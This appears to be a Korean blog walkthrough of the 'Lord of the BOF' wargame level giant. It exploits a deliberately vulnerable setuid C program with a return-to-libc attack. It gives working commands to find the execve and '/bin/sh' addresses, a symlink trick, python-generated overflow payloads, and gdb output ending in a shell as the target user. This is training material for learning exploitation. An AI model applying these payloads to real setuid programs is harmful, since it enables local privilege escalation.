[bugbear@localhost bugbear]$ cat giant.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - giant

        - RTL2

*/


#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>


main(int argc, char *argv[])

{

        char buffer[40];

        FILE *fp;

        char *lib_addr, *execve_offset, *execve_addr;

        char *ret;


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        // gain address of execve

//공유라이브러리 libc의 주소 출력

        fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'", "r");

        fgets(buffer, 255, fp);

        sscanf(buffer, "(%x)", &lib_addr);

        fclose(fp);

//__execve함수 주소를 출력한다.

        fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r");

        fgets(buffer, 255, fp);

        sscanf(buffer, "%x", &execve_offset);

        fclose(fp);


        execve_addr = lib_addr + (int)execve_offset;

        // end


        memcpy(&ret, &(argv[1][44]), 4);

        if(ret != execve_addr)        //execve주소로 ret하지 않으면 프로그램 종료

        {

                printf("You must use execve!\n");

                exit(0);

        }


        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);

}



ldd 공유라이브러리 출력 명령어
awd  원하는 필드만 출력





execve의 주소를 알기위해 ldd 명령어를 이용해 라이브러리의 버전이나  시작주소를 알 수 있다.


[darkknight@localhost darkknight]$ ldd /home/darkknight/bugbear
        libc.so.6 => /lib/libc.so.6 (0x40018000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)

[bugbear@localhost /home]$ /usr/bin/ldd /home/bugbear/giant
        libc.so.6 => /lib/libc.so.6 (0x40018000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)




awk명령어를 통해 1번 필드에 있는 execve의 offset 값만 가져올 수 있다.



[bugbear@localhost /home]$ /usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'
00091d48


아래 간단한 코드를 이용해서 execve 함수 내부에 있는 /bin/sh 문자열 주소를 찾을 수 있다.

[bugbear@localhost bugbear]$ cat ./findbin.c
#include <stdio.h>
#include <string.h>

int main(){
        long execve = 0x400a9d48;
        while(memcmp(execve,"/bin/sh\00",8))
        execve++;

        printf("%p\n",execve);

}

execve주소 = 라이브러리 주소 + execve의 offset 값 = 0x400a9d48




/bin/sh 주소0x400fbff9



[bugbear@localhost bugbear]$ ln -s ./gian1 `python -c 'print "\xf9\xbf\x0f\x40"'`

심볼릭링크를 이용해서 환경변수 영역에 /bin/sh의 포인터로 사용하기위해 /bin/sh의 주소값을 추가해주고

페이로드를 짜본다면 


dummy(40) | sfp(4) | ret=execve함수주소(4) | dummy(4) | /bin/sh주소(4) | &"/bin/sh"(4) |  NULL (4)


\x0a가  엔터값이여서 문자열로 인식하기 때문에  argv[1] 을 더블쿼터로 한번더 감싸준다.


[bugbear@localhost bugbear]$ ./`python -c 'print "\xf9\xbf\x0f\x40"'` "`python -c 'print "A"*44+"\x48\x9d\x0a\x40"+"BBBB"+"\xf9\xbf\x0f\x40"+"CCCC"+"DDDD"'`"

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH▒

@BBBB▒@CCCCDDDD

Segmentation fault (core dumped)


[bugbear@localhost bugbear]$ gdb ./`python -c 'print "\xf9\xbf\x0f\x40"'` ./core

Core was generated by `./▒@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH▒

@BBBB▒@CCCCDDDD'.

Program terminated with signal 11, Segmentation fault.

Reading symbols from /lib/libc.so.6...done.

Reading symbols from /lib/ld-linux.so.2...done.

#0  0x42424242 in ?? ()


(gdb) x/20s 0xbfffffff -200

0xbfffff37:      "ear"

0xbfffff3b:      "SHLVL=2"

0xbfffff43:      "SHELL=/bin/bash2"

0xbfffff54:      "USERNAME="

0xbfffff5e:      "HOSTTYPE=i386"

0xbfffff6c:      "OSTYPE=linux-gnu"

0xbfffff7d:      "HISTSIZE=1000"

0xbfffff8b:      "TERM=xterm"

0xbfffff96:      "HOME=/home/bugbear"

0xbfffffa9:      "PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/bugbear/bin"

0xbfffffec:      "_=./▒\017@"

0xbffffff5:      "./▒\017@"

0xbffffffc:      ""

0xbffffffd:      ""

0xbffffffe:      ""

0xbfffffff:      ""


(gdb) x/30x 0xbfffffec +11

0xbffffff7:     0x400fbff9      0x00000000  




[bugbear@localhost bugbear]$ ./`python -c 'print "\xf9\xbf\x0f\x40"'` "`python -c 'print "A"*44+"\x48\x9d\x0a\x40"+"BBBB"+"\xf9\xbf\x0f\x40"+"\xf7\xff\xff\xbf"+"\xfb\xff\xff\xbf"'`"

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH▒

@BBBB▒@▒▒▒▒▒▒▒▒

bash$ whoami

giant

bash$ my-pass

euid = 514

one step closer



'System Hacking > Lord of Buffer overflow' 카테고리의 다른 글

16.lob assassin->zombie_assassin  (0) 2018.01.14
15.lob giant->assassin  (0) 2018.01.11
13.lob darkknight->bugbear  (0) 2018.01.10
12.lob golem->darknight  (0) 2018.01.09
11.lob skeleton->golem  (0) 2018.01.08

+ Recent posts